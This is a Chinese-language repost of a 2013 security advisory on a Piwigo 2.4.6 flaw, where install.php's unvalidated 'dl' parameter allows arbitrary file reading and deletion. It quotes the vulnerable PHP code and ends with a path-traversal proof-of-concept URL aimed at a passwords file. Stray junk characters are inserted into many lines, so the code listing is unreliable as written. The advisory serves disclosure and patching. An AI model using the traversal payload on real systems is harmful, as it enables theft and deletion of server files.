Piwigo任意文件泄露和任意文件删除漏洞

admin

Piwigo是用PHP编写的相册脚本。

Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
====================================================================
/install.php:
3 D$ }) t. o" O- E) t. _-------------
113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
1 h9 k  `" ~% Z0 o4 H114: {
115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
/ H0 x8 K  p" {$ n# O& }! y( e116:   header('Cache-Control: no-cache, must-revalidate');
+ I9 n5 T6 ~& [6 o) h117:   header('Pragma: no-cache');
9 y8 c2 R, F: q/ B  V* g: K118:   header('Content-Disposition: attachment; filename="database.inc.php"');
119:   header('Content-Transfer-Encoding: binary');
+ a5 ?! P- ^1 u- f: V120:   header('Content-Length: '.filesize($filename));
. w% {/ o4 g; U; D121:   echo file_get_contents($filename);
' _% k; l* z; g6 x8 q2 H! M! a122:   unlink($filename);
123:   exit();
6 c( {+ x! ?( g0 M/ N1 l124: }
====================================================================

# L; d, K! Y, A# TTested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Apache 2.4.2 (Win32)
           PHP 5.4.4
# ], }" J0 X1 i: ?5 @! S6 }. Z           MySQL 5.5.25a

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience

Advisory ID: ZSL-2013-5127
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
8 W3 c7 H& g7 L9 V% _3 ~- X, HVendor Patch: http://piwigo.org/bugs/view.php?id=2843

15.02.2013
# t0 E' K1 f' ^- q2 @% C
! C4 [# ~) t. A/ D# D--
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
% k9 w0 f% u6 q, h  m
" o3 |% Z7 M9 `